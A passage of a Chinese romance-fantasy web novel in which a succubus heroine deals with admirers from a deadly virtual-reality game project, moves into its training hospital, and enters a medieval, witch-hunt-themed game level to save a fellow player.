四周的汽车如同一只只蛰伏在黑暗中的巨兽,给人以强烈的压迫感。也不知是因为停车场地下一层是停尸间, 还是因为停车场本就阴凉, 寒冷的风一阵阵钻进人的骨头里, 方寄南咳嗽了两声。 “嗯, 我们会为你提供一些你需要的东西, 比如基础的野外求生培训、快速辨别方向、以及判断游戏内的局势和NPC队友……之类的。” “不过,我还是更建议你住在这里。这里有很多游戏玩家,你可以随意跟他们交流游戏经验……哦对了, 我听你哥哥说你是游戏迷, 没什么朋友, 如果你愿意的话, 也可以在这里交朋友,他们应该都很乐意。” 之芙看向身后, “维修工”和司苍正在发动汽车,之芙忽然想起什么,冲他们喊了一句:“哥!妈妈说今天在家等你吃饭。” “……”司苍的脸上明显露出了无语的表情, “比起相信她,我们还是自己去找点吃的吧。你吃了没?跟我们一起去吃顿饭吧。” 站在车旁的“维修工”也冲着之芙微笑,很明显司苍所说的“我们”也包括他。 “你跟他们很熟吗?”方寄南不其然问。他的声音从身后传来,在寂静的停车场显得无比的清晰,伴随着一股寒气从脖颈冲到了脑后,如同鬼魂幽幽地询问。 之芙是丝毫不惧的:“那是我哥,你熟不熟?至于你说交朋友,我想……白飞烟应该算是我的朋友了吧。” 白飞烟因为腿不方便的缘故没有下来送他们,自然也听不到她说的这番话——但方寄南听到了,还听得清清楚楚。 “那李锐呢?” “谁?” “就是那个……维修工。” 哦,原来他叫这个名字。之芙说:“是维修工啊。” 方寄南的视线越过她的肩膀朝后看去——之芙转头,也注意到维修工……现在是李锐了。李锐一只手撑着下巴,饶有兴致地看着他们,更准确来说,是看着她。他久久地凝视着她,仿佛在之芙看向他之前,就已经这样看了很久很久。 “恐怕他不这样觉得。”方寄南低声说。 “哦?”之芙反问,“难道我们不是陌生人吗?他来我家帮我修过一次游戏仓,仅此而已。如果我没有记错的话,今天是我第二次见他吧?” “还是说……”不等方寄南开口,之芙又慢吞吞地补上了一句,狡黠地冲他皱了皱五官,“他跟你一样,也成为了游戏里的一员?” “……” “我之前就很好奇了,像你们这样用特殊方法进入游戏的‘玩家’,对于你们来说,游戏到底是什么?” 方寄南却不答反问:“在你眼里,我们是什么关系?” “我们?”之芙指了指自己的脸,有些奇怪地说,“你是我哥的朋友。” “就这样?” “嗯,就这样。” 方寄南骤然笑了出声,仿佛觉得这件事对他来说很荒唐似地:“但是在我看来,不是这样。” “那是怎么样?”之芙觉得自己能理解又不能理解,“你不是说,就像一个梦一样吗。你和李锐不一样吧,你已经用这种方法进入游戏很多次了,应该分得清楚现实和游戏的区别吧?” 就像她能很清晰地分辨出方寄南和游戏里研究员、纸人师的区别,虽然有时在某些相似的角度仍会恍惚,但总体还是能辨认出不同的。 就像是方寄南自己说的,在游戏里他失去了全部的记忆,转而拥有全新的身份,这个身份像是另外一段人生一样真实,并且也拥有属于这个人生的过去和未来,那么游戏里的方寄南和游戏外的方寄南能算是同一个人吗? 之芙不能判断。 方寄南往前走了一步。他的脸色依旧苍白,瞳孔却在地下停车场的阴影里显出幽幽的黑,像是深渊凝视着她。 “对我来说,就是……” 他凑得更近了,时轻时重的呼吸轻缓地拍打在之芙的身上,又潮又热。 “就是在游戏里,明明你对我很好,亲昵又亲密,我们明明是最亲密的伴侣,但醒来后……一切都变了。你怎么会突然就变成了陌生人呢?” 他漆黑的瞳孔,一眨不眨地看着之芙,仿佛要用这个姿势把她的身影印刻下去,用近乎痴迷或是哀求的眼神。 一觉醒来,最亲密的爱人变成了陌生人,他的心理落差大到无法想象,几乎是凭借着仅剩的理智在压抑着自己的失态。 之芙说:“但那只是一场游戏。” “对你来说那只是一场游戏,但难道在游戏里,你对这些角色没有一丝一毫的喜爱吗?你只把他们当成一个NPC,一个玩过就忘掉的角色吗?” “当然不会。”之芙说。在游戏里,她对男主们的爱也是真实的。毕竟那是一个如此真实的世界,他们也如此真实。 “但是……方寄南,你不是游戏里的谁,你是方寄南呀。 没有谁会把自己当成游戏里的角色,而丢掉自己本身的身份和主体性吧? 她显然低估了方寄南。因为紧接着,她就看到方寄南低下头,短促地笑了一下: “所以你是更喜欢那个研究员,还是更喜欢纸人师?” 之芙张了张嘴,一时没有反应过来他的意思。 但方寄南旋即又说:“你喜欢谁我都可以成为他们。只要……” 只要,你还爱我。 之芙下意识想要摇头,方寄南一只手捧住了她的脸。 “别急着拒绝我。”他低下头来,用一种耳鬓厮磨的方式,贴着她的耳朵低声说,“或者……” 他看向之芙的身后,车里的男人,正用威胁的眼神盯着他,警告他不要轻举妄动。 “如果你这样要拒绝我的话,也别答应他们,好吗?” 第144章 间章 “说不定下一次进入游戏我就会死…… 离开医院后, 之芙跟便宜哥哥司苍去吃了一顿已经可以当做夜宵的晚饭。 之芙本以为这顿饭会很有意思,比如——那个维修工,李锐。他们似乎还没有正式地认识。 之芙甚至连他的名字都是在方寄南嘴里听到的, 这跟白飞烟不一样——白飞烟急切地想要告诉她自己的名字,但李锐却与他相反。 从他们在医院见面开始, 他没有跟她交流过什么, 似乎只是在注视着她、观察着她以及她和其他人相处的模式。 甚至此刻的他还比不上第一次见面时那个腼腆的维修工热情,冷淡得让人不禁怀疑,那个热情可爱的维修工有双胞兄弟吗? 吃饭的时候, 他全程看着之芙和司苍说说笑笑, 倒是也主动说话,也主动跟之芙搭话了, 只是话语里的重心还是在游戏上面。 “我吗?”他的说话的时候还是笑眯眯的, 看起来跟之前那个“维修工”没什么不同, 但之芙敏锐地察觉到他的心情并没有看起来那么好, 比起热情腼腆的维修工, 他更像一个观察者,一直在观察着她和司苍的相处。 他摸了摸鼻子:“我叫李锐。在这里大概是,嗯……你就把我当成游戏公司的职业经理人吧。其实我也说不上什么话, 在这个计划里只不过是一个观察员罢了, 游戏的事情问方寄南, 他懂得比我多些。” “不过……如果你有什么需要, 或者对于这个游戏有什么想法,都可以来找我。”他笑眯眯地又指了指自己, “很荣幸为您服务,女士。” 这一顿饭吃得也算是其乐融融,在李锐的解释下, 之芙对这个游戏和“疗养院计划”都多了不少了解,甚至从他们的嘴里听到了很多过往的前辈的神奇故事,譬如01号是怎么把这个组织的雏形给构建起来的。 虽然之芙没有见过他们口中那位01号,但也不由得心生好奇。 “她见过你的,虽然你没有见过她。”李锐说,“她是我们之中存活最久的玩家,她提供的资料和各种生存方法帮助了很多人。可惜……”他话语一顿,有些惋惜,但很快又一转开朗乐观的模样,“不过,她很喜欢你。” “很喜欢……我?”之芙指了指自己。 “当然。”李锐说,“方寄南的计划进行前,01号并不同意他的计划,她认为这样太危险了。但方寄南给了她你的直播间地址,她在观看了几次你的直播之后,就要求亲自见你。于是司苍想了个办法,以朋友的名义邀请她在你们家里吃了一顿饭。” “朋友……?”因为司苍很少邀请进家门,之芙对这个朋友隐隐约约有一点印象。 印象里,是一个外表看起来有些普通的女人,大约三十岁上下,动作非常利索,肌肉丰满健壮,但周身萦绕着柔和的气质,在饭桌上几次主动跟之芙搭话。 之芙很喜欢她——很难有人不喜欢她。因为她看起来强大异常,却有种允许他人与她进行情感流动的丰盈感。 “嗯,她很喜欢你。她说‘你是跟其他人不一样的孩子,是特殊的孩子’,如果按照你们游戏主播的说法……她是你的粉丝。” 李锐轻快地笑了笑,仿佛想到了那时01号所说的话。离别的悲伤都在提起这段生动的记忆时被尽数消除。 “她说的没错,你确实是特殊的孩子。无论对于这个游戏,还是对于我们来说。”说到这里,他也叹了口气,“但她运气太差了。唉,进入这个游戏的,有运气好的人吗?无论是01还是02……他也……” 02,之芙记得这个编号,这是白飞烟。 “白飞烟怎么了吗?” “他运气不好,在上一次的游戏里受了伤。说起来,倒也不知道是运气好还是运气不好,说他运气不好吧,偏偏能从那个游戏里活着出来,这已经算是幸运了。 可是说他运气好吧,偏偏受了这么重的伤,又偏偏伤到了脚,还偏偏是我们无法治愈的伤……如果是在现实世界里,就算是坐轮椅也不过生活得麻烦点,可是在游戏世界……” 他没有说完,但言下之意已经不必再说。 在这个正常人保持着高死亡率的游戏世界,白飞烟偏偏受伤的是脚,哪怕是手,还有点希望,可是再也没法站起来,这意味着他已经被判了死刑,不可能再从下一个游戏里活着出来了。 “他是怎么受伤的?”之芙有点好奇。 李锐露出的抱歉的表情:“为了救一个工作人员。” “工作人员?” “就是……跟你的情况差不多。现在为了保障游戏玩家的安全,我们会引导一位工作人员陪同进入游戏——当然,是自愿的——意识上传后我们可以从他的脑海中获知一系列的游戏背景,作为工作人员,他们会失去记忆,但也会下意识地帮助玩家。” “就像你进入游戏里,成为上一场游戏里的最终Boss那样吗?”之芙想起上一场游戏里的裴砚和裴钰,却是很放水。 “不是所有人都能成为游戏里的Boss的。”李锐摇了摇头,“这是玩家的意识决定的。大部分时候,工作人员只会成为游戏里的路人NPC,不过这也够了。工作人员越靠近真相,就越危险,但与之相对的,我们能得到的信息就会更多。” “上一部游戏里,陪同白飞烟一起进入游戏的工作人员就拿到了核心玩家的身份,作为白飞烟的好友跟他一起参与的游戏。白飞烟为了让他安全离开,受了重伤,在最后关头才险之又险地回到现实。” 之芙若有所思。 “所以,下一部游戏里,会有人进入游戏,当我的游戏NPC吗?”之芙问。 李锐只是含蓄的笑了笑,没有接话。 一顿饭吃到了尾声,司苍主动去车库里开车,之芙把李锐送到饭店楼下。 李锐打了个电话让司机来接,一抬头又是完美的微笑:“送到这里就好了,司机会来接我的。你先和你哥哥回家吧,不用等我。” ——一整个晚上,他都维持着这种礼貌的、完美的微笑。如果这是对待一个见面第二次的陌生人,当然找不出任何失礼之处,甚至还会让人觉得他和蔼可亲,脾气怪好的。 但这是李锐,是游戏里的裴砚,几次交谈下来,之芙几乎已经确认了他的身份——虽然他没有主动提起过。乍一看,他似乎跟游戏里冷淡礼貌的裴砚没有丝毫相似之处,但让之芙感觉到熟悉的,正是他身上那种观察全世界的局外人的疏离感。 更何况,跟方寄南相比,他实在是太淡定了。如果没有方寄南,之芙也会把他和裴钰这个人分割开来,但从方寄南的表现来看……李锐绝对没有他表现得那么淡定。 门前马路上车来车往,川流不息的车流中灯光明明灭灭,像是流水一般洗过他们。 一点点的灯光照亮了李锐的眼,他微微眯起眼睛,看向对面的车流。 之芙忽然开口:“裴钰。” “嗯?”猝不及防,李锐转头看她。但下一秒,他意识到自己做了什么之后,脸上的茫然变成了错愕。 之芙笑了:“我还以为我猜错了呢。” 一秒钟后,李锐脸上错愕的表情转变成了无奈。 他别开眼,没有说话,下意识地不看之芙脸上意味深长的笑容。夜风吹起之芙耳边的碎发,他的视线不由自主地定格在上面。 “你要一直跟我装陌生人吗?”之芙问。 李锐的嘴唇开开合合,最后紧紧地一抿。与此同时,却伸出手来,轻轻地将她耳边的碎发别到了耳后。 之芙又笑了一下,问他:“你知道在游戏里,我是怎么说服方寄南跟我走的吗?” 李锐表情微动:“怎么?” “我说,”之芙看向远处的夜空,霓虹灯不停闪烁,把繁星都映照得黯淡无光,“如果我明天就要死去,你会跟我走吗?” 她转过头,在夜色下,带着一点疑惑,一点蛊惑,微笑道:“说不定下一次进入游戏我就会死掉哦。你没有什么想对我说的吗?” 之芙不明白,为什么这些生命如此短暂的人类,却活得还不如生命漫长的魅魔通透,至少魅魔们明白及时享乐这个道理。 李锐的神情明显地一滞。过了一会儿,在车辆驶入驶出的车流声里,之芙听见他说: “对不起。” “嗯?”之芙侧目。不明白他为什么要说这个。 李锐叹了口气:“我想我要先为自己的自大和自作主张道歉,才能对你说别的话吧?” 之芙愣了一下:“所以你不跟我说话是因为害怕我生气……” 男人的脸上出现了懊恼的神情:“我在观察……嗯,我也不是那种会讨人厌恶的人吧?” 之芙当即笑出了声:“那你还真不是。不过这件事嘛……”她拖长了语调,成功从对方身上看到了懊恼、踌躇和渴望的表情。 之芙抿唇笑,话锋一转:“我哥在等呢。” 她冲着路边的一辆车招手,车窗摇下来,露出了一张熟悉的脸。 ——司苍在路边已经不知道等了多久。他就这样隔着车窗,安静地看之芙跟另一个男人说话,并不主动打断他们。 之芙冲男人笑了笑,转身、挥手,动作干脆利落又潇洒,意思是“再见”。 “等——”李锐下意识追出了几步。 “等我们下次见面再说吧。”之芙狡黠地笑了笑,小狐狸般滑手地钻进了车里。 第145章 间章 “毕竟,无论你选择谁…… 汽车平稳地驶入车辆汇成的河流, 往那个人类意义上的“家”的方向开去。 之芙上了车之后,司苍丢过来他的手机:“给司机打电话,让他把你停在医院的车开回去吧。” 之芙的车还停在医院。想来司苍也想起来了这件事。不过, 之芙倒不是忘了这件事——她把手机随便翻了翻,看了一圈他手机里的软件, 似乎都是一些办公软件, 不过还有几个眼熟的图标,像是她玩过的游戏。 司苍看起来也没有阻止她的意思。他专心地开着车,时不时在红灯的间隙转过头看她一眼, 意思就是手机随便翻了。 之芙很满意他的坦诚——毕竟才隐瞒过自己, 现在也该诚恳认错了。 她把手机扔回去:“不用,我准备明天收拾东西住过去, 车停在那边刚刚好。” “……”恰好是红灯, 司苍转头看向她。一侧的暖黄车灯从他身后盖下来, 给他的脸颊和发丝都镀上一层暖融融的金光, 脸却埋在阴影里, 只能隐约看清楚他的表情。 他动了动嘴唇,似乎想说什么,最后却只是说:“……我送你。” “好啊。”之芙笑眯眯地说。 “……” 红灯变绿, 车平缓地往前, 开上大桥。 之芙看向车窗外大桥下的奔腾不息的河流, 想起不久前李锐打电话叫司机的场景:“怎么不叫家里的司机开车?” “又没喝酒。”司苍言简意赅地说, “用不着。” 之芙想起司苍是没有聘开车的司机的。这和其他人似乎有些不一样,不过司苍就算是应酬也不至于被人灌酒, 自然是随他的想法。 “就是有点好奇,我以为经历过车祸的人都会有点心理阴影。” 之芙见过其他遭遇严重车祸,在生死边缘走了一趟, 险之又险地活了下来的人类,有些人终身都对汽车极其恐惧,甚至会患上严重心理疾病。大部分人即使没有如此恐惧,也不会再自己开车了。 司苍双手把在方向盘上,双眼目视着前方,即使只是在一个寻常的夜晚,在一个少有车辆和行人的大桥上,他也保持着最安全的开车姿势。但很难猜测这到底是不是车祸带给他的心理阴影,因为这个男人平常做什么事情都如此严谨。 “在城市里很难不用车吧。”司苍保持着市内慢悠悠的限速,分出心来回答,“既然都害怕出车祸了,为什么还要把方向盘交给别人?那不是更不放心吗?” 之芙“唔”了一声:“那倒也是。” 接着路灯暖黄色的光,她侧过头去,打量着自己的这位便宜哥哥——说来倒也奇怪,明明司苍才是她遇到的第一个人类,但事实上她自觉自己跟对方的接触并不多,居住在人类社会的这段短暂的时间里,跟她更为亲密的人是司妈妈,然后是几位粉丝朋友,最后……才是他。 她像是头一次认识对方似地,用仔仔细细地打量着他的锐利的眉眼,挺翘的鼻梁,紧抿的唇瓣和瘦削的下颚线条。 行事冷静、保守、严谨,面对其他人的时候总是谦和的,但在那谦和的表象之下,却有着“一定要把握自己方向盘”的强大自主性。 如果她猜得没错,司苍应该就是系统吧。之芙思考着,随口说了一句:“可是你开车运气似乎不是很好啊。” ——一分钟过后,她就后悔自己说出这句话了。 因为,下一秒,汽车发出了一声悠长地“嘎吱——”声,随后是一个急刹,猛地停在了桥上。 “……”司苍缓缓转头看了过来,还保持着那个双手握住方向盘的姿势。 之芙也:“……” 车抛锚了,尴尬地停在了桥上。 好在现在不是晚高峰,他们不至于焦头烂额被一群鸣笛的汽车包围,得以从容地在桥上拨打拖车电话。 之芙双手交叠放在栏杆上,有点郁闷地看向不远处的河流。此时正值夏夜,河岸边有人在露营烧烤,也有人穿着泳衣在河里游泳、漂流。 桥上的风带来了那些人欢呼和嬉笑的声音,一时间竟让人恍如隔世,仿佛几个小时前在那栋沉闷而守卫森严的医院里所知道的一切,只不过是另一个有趣的游戏而已。 “拖车师傅说要等一会儿。”司苍挂断电话,揉着太阳穴走向之芙。他也把胳膊支撑在栏杆上,任由夜风吹拂过发丝。 过了一会儿,他转头看向之芙:“没想到你……” 之芙无声地笑了一下:“没想到我的乌鸦嘴还挺灵的,是吧?” 顿了顿,司苍也跟着无声地笑起来:“没想到我开车运气真的不是很好。” 之芙被他逗笑了:“还真是。而且特别是,我遇到你的时候,你的运气都很差。比如说第一次车祸——今天倒是好一点了,只是抛锚。” 司苍想了想:“或许也不全是坏事。比如说……你不觉得每一次遇到这种事情,我们的关系就会更进一步吗?” 之芙“唔”了一声,问:“刚刚为什么不说话?” “什么刚刚?” “就是……刚刚在饭店门口,我和李锐说话的时候。你等很久了吧?” 其实都不必说话,只要按个喇叭,就能打断他们。 但司苍什么也没做,只是在车里静静地看着他们,等着他们说完。 “……”司苍看向了远方的河流。 清澈的河流安静和缓地向前流动,路灯打下一片粼粼的金黄,在河水表面不断翻涌。 “你很想我跟李锐、跟方寄南、跟白飞烟接触吗?” 想来是不乐意的。如果真的乐意,就不会说出让司机把她停在医院的车开走这种话。 但之芙说自己要去医院住的时候,他也没有制止,反而主动要送她。 “为什么不说?” “……”司苍凝视着远处波光粼粼的河流,声音很沉闷,“因为…我想你还太小了。” “什么?”之芙大跌眼镜,万万想不到是如此原因,反应过来后她气鼓鼓地抗议,“我成年了!哼,明明你还没有我活得久吧……”最后一句话她说得很轻,司苍没有听清楚。 可恶的人类!她可是活了很多很多年的魅魔学院优秀毕业生!无论是魅惑学、人类学、社交学都是满分!司苍可能还没她活得久呢! “不是那个原因。”司苍转过头,认真地看着她。一点点璀璨的光点从他的眼里浮现出来,“我只是觉得你有点……” “有点?”之芙挑眉。 “有点……嗯,我不知道怎么形容。大概是有点,不知道人心险恶?”说到这里,他的眼里又浮现出星星点点的笑意,“毕竟,你是一个玩游戏都会被骗的人。” “喂!”之芙立刻想起了那部读作恋爱写作诈骗的恐怖游戏,锤了他一拳,“那不是都怪你吗!” 谁叫他拿那种奇怪的游戏给她玩的!她一个小小魅魔,在第一次接触人类世界的过程中被骗也很正常吧!而且她看过那部游戏的评价,很多人类也会被骗的! 司苍憋着笑,之芙这才意识到自己这位便宜哥哥,不仅冷淡严谨,还有些焉坏。谁家好哥哥拿诈骗游戏给妹妹玩啊! 他乖乖地让之芙打了几拳,才接住她的拳头。 此刻四周又恢复了一片静谧,只有河水流动的声音。 在潺潺的水流声中,之芙听到他轻轻地,认真地说: “你还没有接触过这个社会……我想,你可以拥有更多尝试。无论是尝试我、方寄南还是别的什么人;无论是尝试一个恋爱游戏还是一个死亡游戏。” 猎猎的风声中,他看到之芙耳边被吹乱的碎发。他抿着唇,犹豫了一下,伸出手来轻轻别在她的耳后。 他说得也太卑微了,之芙都要有点怜悯他了。然而这时,又见他勾着唇角,露出了一个微笑。 “毕竟,无论你选择谁,我都是你的哥哥,不是吗? 是你救了我,把我的生命跟你绑定在一起的。“ 第146章 《好消息:莉莉丝降临了!》 好消息,…… 虽然之芙是个“外来人口”, 但她要随身携带的东西可不少。游戏机、游戏卡带、键盘、电脑、主机,各种衣服裙子、头饰、游戏周边,甚至床头的小夜灯都原封不动地搬进了医院里。 幸好这个医院并不是真的医院, 由于玩家人数较少——这就是另一个地狱笑话了——留给她的房间也足够大,甚至比她在别墅住的房间还要大。 “好, 很好。”之芙视察了自己的新房间, 把墨镜往头顶一拉,露出一个笑,“我的新生活就从这里开始吧。” 她在医院住了一段时间, 接受了方寄南和李锐给她安排的训练计划, 包括但不限于长跑技巧、丛林和野外求生技巧,还有一部分关于游戏规则的恶补——虽然这个游戏并没有什么规则, 在这个游戏里只要能想办法活下来, 比什么都重要。 但对于之芙来说, 这些都不值一提, 更重要的是—— 她发现自己成了整个医院的名人。 最开始的时候只有游戏玩家们认识她, 大部分都看过她的游戏直播,令人惊喜的是居然还有个小姑娘是从她最早玩乙游的时候就关注她的。 “发现你跟我一样成为这个游戏的玩家的时候我真的吓死了!就怕你出什么意外呜呜……”小姑娘的编号在她之前,但也只比她早一点, 是017号玩家。 这是个有点爱哭的小姑娘, 跟之芙一样爱玩游戏, 在之芙也入住医院之后狠狠地实现了一把自己的梦想, 跟之芙联机熬夜打穿了一个时下大火的游戏。 但由于胆小爱哭这个缺点,她每天要特种兵式训练超过八个小时, 并且还有专人指导她进行练习,因此没打几次就含恨被“专人”拖去特训了。 比起早就知道之芙身份的玩家们,医院的医护和守卫就知道得比较迟了。 那个前几天不小心把之芙放进医院的守卫被公事公办地罚了站岗一周, 主犯之芙和从犯白飞烟每天都带着水果饭菜去看望对方,还承担了大部分站岗的责罚——对于这件事,李锐睁一只眼闭一只眼。 当然,作为犯事者的之芙被罚了连续三天的十二小时特训,就连坐在轮椅上的从犯白飞烟都没逃过惨无人道的惩罚,之芙发誓自己从来没有什么时候像这三天一样睡得像已经死掉了似地。 作为一个迟到的玩家,她姗姗来迟地接受了医院里属于她的空房间,也姗姗来迟地接受了来自其他玩家和医护守卫的热情。 虽然这些热情有时让人很头疼。训练玩耍和吃饭时被人搭讪已经是家常便饭,她甚至还在同一天收到了来自不同的个人的三束玫瑰花和热情的告白。 即使离开了游戏,她所收到的喜爱也没有减少半分。 “抱歉,这里有人做,我在等人呢。”第无数次拒绝掉了想要一起拼桌的殷勤男人,之芙双手撑着下巴,看向身侧的人,“等谁?嗯……我在等你们方老师。” 下一秒,眼前遮蔽下一片阴影,一盘卖相完美香气四溢,只需一眼就让人胃口大开的饭菜被放在了她面前。 “她在等我。想一起吃饭吗?” 方寄南带着微笑的声音从身侧传来。 “呃……不、不用了!谢谢!”殷勤的男人看了一眼方寄南,被他的居高临下的眼神和笑里藏刀的话语逼得落荒而逃。 “他看起来有点怕你。”之芙看向方寄南,对方正施施然地坐下,优雅地擦了一下手。“我还以为你在这里很受欢迎呢。” 毕竟他看起来是个好说话又温柔的人。这样的人,一般很受欢迎吧? “嗯……”方寄南稍做思索,很快得出答案,“可能因为这些人的特训计划都是我负责安排的。毕竟017号那个姑娘就明显很怕我。” “但这也是为了她好,她就快进游戏了。她和你这样的主动进入游戏的玩家可不一样,这还是她第三次进游戏,据她所说,前两次游戏她都是阴差阳错莫名其妙地活下来,不得不说,如果有一个能训练幸运值的特训项目,我会让她一天训练十个小时的。毕竟这才是她的特长。” “魔鬼啊魔鬼。”之芙念叨着,把一口饭塞进了嘴里。 医院的饭菜都做得不错,毕竟这里人少,投资商又“人傻钱多”。 “谬赞。”方寄南还是微笑——之芙确信这些人怕他不是因为他安排的魔鬼特训项目,而是因为这个男人总是能一脸无所谓的、笑眯眯地说出令人毛骨悚然的话来。 “但是她不叫017,对于我来说,她叫王蕊雪。” “比起这个,其实这次来我是想告诉你,白飞烟的游戏时间快到了。” 之芙凝神:“这么快?”这比她想象中的还要快。 “我们已经拖不下去了。”方寄南收起了漫不经心的笑容,认真地看着她,“你之前说的那个计划,你真的想好了吗?” 之芙低下头,看了一眼面前香气四溢,丰盛而健康的餐品。这个世界多美好啊,有这么多好吃的、好玩的、有趣的东西。如果再也无法尝试,那真是可惜。 “你真的已经想好了吗?” 在躺进游戏仓的前一分钟,还有人在这样询问。 医生和护士们严阵以待,方寄南用胳膊托着文件夹,正在记录着什么。游戏仓的旁边连接着密密麻麻的线路,分别对应生命维持系统、体征意识监护系统、直播系统和属于司苍的监控系统。 “其实你没有必要为了02号冒险。在这个医院里所有的人都只是过客,即使侥幸活着离开游戏,我们总有一天也要各自离开的。” 之芙把游戏仓的按钮打开,躺平在游戏仓里,双手交叠,闭上眼睛。 “他不叫02号,对我来说,他叫白飞烟。” …… 【这是一个中世纪背景的副本,我大概看了一下白飞烟传来的剧情,虽然是架空,但各种设定应该都参考了中世纪的欧洲。】 之芙在眩晕中听到了系统的话。但紧接着,她还没来得及回答,就感觉到有人在拼命勒自己的腰。 “嗷——!”她简直是尖叫着跳了起来,只感觉腰和肋骨都被用力地朝内挤压,不仅疼痛难忍,还几乎要呼吸不过来了。 就是这么一跳,让她从身后的刑具里跳了出来。 “小姐,小姐!”有人尖叫着从身后冲上来拉住了她,“小心一点!”——之芙差点被脚下层层叠叠的裙摆绊倒。 一阵兵荒马乱,好不容易平静了下来,之芙才有时间环顾自己的处境。 她身处一个宽广而装饰华丽的房间里,四周堆着一些衣柜和衣架子,面前是一个足足有两人高的镜子和梳妆台,上面也堆满了华丽的珍珠和宝石首饰。 那些首饰异常繁复,看风格,确实像是来自中世纪时期。 “小姐,小心一点。”女仆气喘吁吁地抱起地上的衣裙,“我知道您不喜欢这些衣服,但是夫人已经在等您了。您是淑女,不会想让夫人久等的,对不对?” 如果要去见那个什么“夫人”、要成为淑女,必须要穿上这样的刑具,之芙宁愿现在从窗户跳下去。 但看着女仆哀求的眼神,再想到自己现在正处于游戏里,而且还没见到白飞烟的人,之芙还是忍住了。她点点头,任由女仆帮自己把衣服穿上:“别勒太紧!如果勒那么紧,我宁愿不去见人。” “好,好好好。”女仆连声哄着她,看来是对她的自由不羁已经习以为常了。几个女仆快速地帮她把衣服穿上,再带上华丽而沉重的珠宝,最后梳好高高的发髻,前呼后拥地簇拥着她走出房间。 房间外的装饰则更为华丽古典,看起来像个华丽的小城堡,墙壁上挂着古旧的人像,灯火辉煌的水晶吊灯悬在人们头顶。 身后的女仆把扇子塞进她的手里,托着她的裙摆走下楼梯。 路过窗户时,之芙听到了外面有报童在高声叫卖:“好消息,好消息!大法官的著作《女巫之锤》已于昨日正式出版,内含详细的女巫辨认方法,让您轻松分辨谁是天使,谁是莉莉丝!不要被身边的女巫迷惑了,走过路过,不要错过!” 之芙顿了顿。她忽然想起了什么,询问系统:【系统,这部游戏名字叫什么?】 【《基督降临》。】系统说,【这里是中世纪,在这里几乎所有人都信仰基督教,这个副本跟宗教信仰有关。】 之芙优雅地拎着自己面前的又重又沉裙摆,不紧不慢地走下辉煌灯火映照下的,长长的旋转楼梯:【我记得这个游戏是你们操控的,所以其实这些名字是你们自己取的吧?我可以改名字吗?】 【当然可以。】系统那边发出了操作的咔哒声,几秒钟之后,一个黑红色的取名框在她面前弹了出来。 之芙勾着唇,操纵虚拟键盘输入了新的名字: 《好消息:莉莉丝降临了!》 第147章 《好消息:莉莉丝降临了!》 《女巫之…… “小姐, 小姐!”身后的女仆匆匆忙忙地托住她的手腕,小声地在她身边提醒,“记住, 要淑女——淑女一点!” 之芙不知道自己有哪里不够淑女,她都已经穿上了这一身——这一身沉重得仿佛三斤铁一样的华丽衣裙, 难道还不够淑女吗? 女仆却疯狂地朝她使眼色, 最后小声地说:“笑、笑不露齿!” 之芙:“……”她勉为其难地用扇子遮了一下。 “这就好了!”女仆显然很为她开心,“小姐,我们都知道您……您稍微忍一忍就好了, 夫人看到您这个样子也会喜欢的!” 之芙更加莫名其妙了, 她在脑海中戳了戳系统:【他们都知道我什么?这个副本里我拿的什么剧本,富家小姐?到底为什么我要扮成淑女啊?】 她甩出一连串问题, 系统那边发出了系统运转的咔咔声, 然后不答反问:【你不先问问白飞烟在哪里吗?】 现在已经进入游戏整整半个小时了——是的, 梳洗打扮就是这么一件耗费时间的事情——她还没有见到白飞烟, 甚至没有从其他人的嘴里听到白飞烟的名字。 之芙大手一挥:【总不能一开局就死掉了吧?放心, 我先把自己弄明白再说。】 其实这句话是系统,哦不,现在应该叫司苍了。是司苍故意问她的。他就怕之芙为了救白飞烟, 连自己的命都不顾了。 但现在来看, 之芙还是分得清轻重的。他暗暗松了口气, 用平淡无波的系统音回答道: 【白飞烟比你先一步进入游戏, 他已经摸清楚你们的大致身份了。这次很幸运,你们的关系很……】说到这里, 系统诡异地一顿。 之芙莫名其妙:【很?】 【……很亲密。】系统说。他不自然的咳嗽了一声,紧接着解释道:【白飞烟这次拿到的身份是一个伯爵的独子,你现在身处的阁楼就是他家的私产。伯爵深受女王的宠爱, 作为伯爵独子的白飞烟自然也是从小被人簇拥讨好的天之骄子。 但好景不长,小时候的白飞烟跟随父亲和女王一起出国拜访,却在异国他乡受到了恶魔的诅咒,从此双腿失去行走能力,从备受瞩目的天之骄子变成了被上帝抛弃的可怜人。】 之芙心说恶魔也没那么闲。多半是小屁孩四处疯跑摔断了腿,谁知道呢?反正又是恶魔来背这个锅。 【那我呢?】之芙问。 【嗯……你是一个挤奶女工。】系统说。 【噢噢!可以可以,我喜欢这个身份。】之芙立刻说。 【……你不生气吗?】系统顿了顿,有点小心翼翼地问。 【为什么要生气?】之芙知道了自己的身份之后心情好了很多,哼着小曲跟着女仆走下楼梯。面前又是一盏金碧辉煌的水晶吊灯,又是一道长长的走廊和紧闭的大门。【这个身份很好啊,我喜欢。】 【但是这样的话,白飞烟的身份比你要好些。】 伯爵的独子和一个普通的挤奶女工,是个人都知道哪个身份更舒服更便捷。 之芙把快要掉到胸口的鱼骨裙用力地往上一提:【你是说这种东西‘要好些’吗?如果要当你们人类所谓的贵族就要穿这种东西,不能笑不能哭还得带这么沉重的首饰,我还是去当一个挤奶女工好了。我的手劲儿很大,挤牛奶应该很快。】 系统微微一怔。片刻后释然地笑了起来。 这就是之芙。一阵风一样来去自由,人间的繁华对她来说只是玩具,兴起时随手玩弄,败兴了丢下便走。 他们这些人只能做自己该做的事情。就像此刻,做一个系统该做的事情:【你是伯爵庄园里的挤奶女工,家境贫寒,家中还有弟弟妹妹要抚养。因此,你听说伯爵的独子来到庄园度假之后,就故意在他面前露面。你渴望跟他来一场夏日恋爱,从他手里套取足够一家人花一辈子的钱。 但你没有想到的是——伯爵的独子真的爱上了你。 你虽然家境贫寒,但仍然对生活抱有期待和向往,热情开朗,像一朵开在原野上的、生机勃勃的花。——以上均取自白飞烟给父母写的信里,他向他们描述你的内容。】 说到这里,系统似乎也觉得牙酸。他顿了顿,才接着说: 【这样的你,跟从小失去双腿,只能在他人的怜悯下生活的阴郁而自卑的他几乎是相反的。所以他深深地爱上了你,认为你就是他的救赎。他把你介绍给父母,希望你成为伯爵庄园的女主人。 所以,你现在身处伯爵的小楼里,要跟他的父母见面。为了这次会面,白飞烟精心准备,势必要让他的父母同意你们的婚姻。 但是——】系统又话锋一转。 【但是我不爱他,对吧?】不必他说,之芙已经熟稔地接话了,【或者,虽然我爱他,爱他的钱和地位,但并不希望自己被这些东西束缚。我更向往自由,向往原野。对吧?】 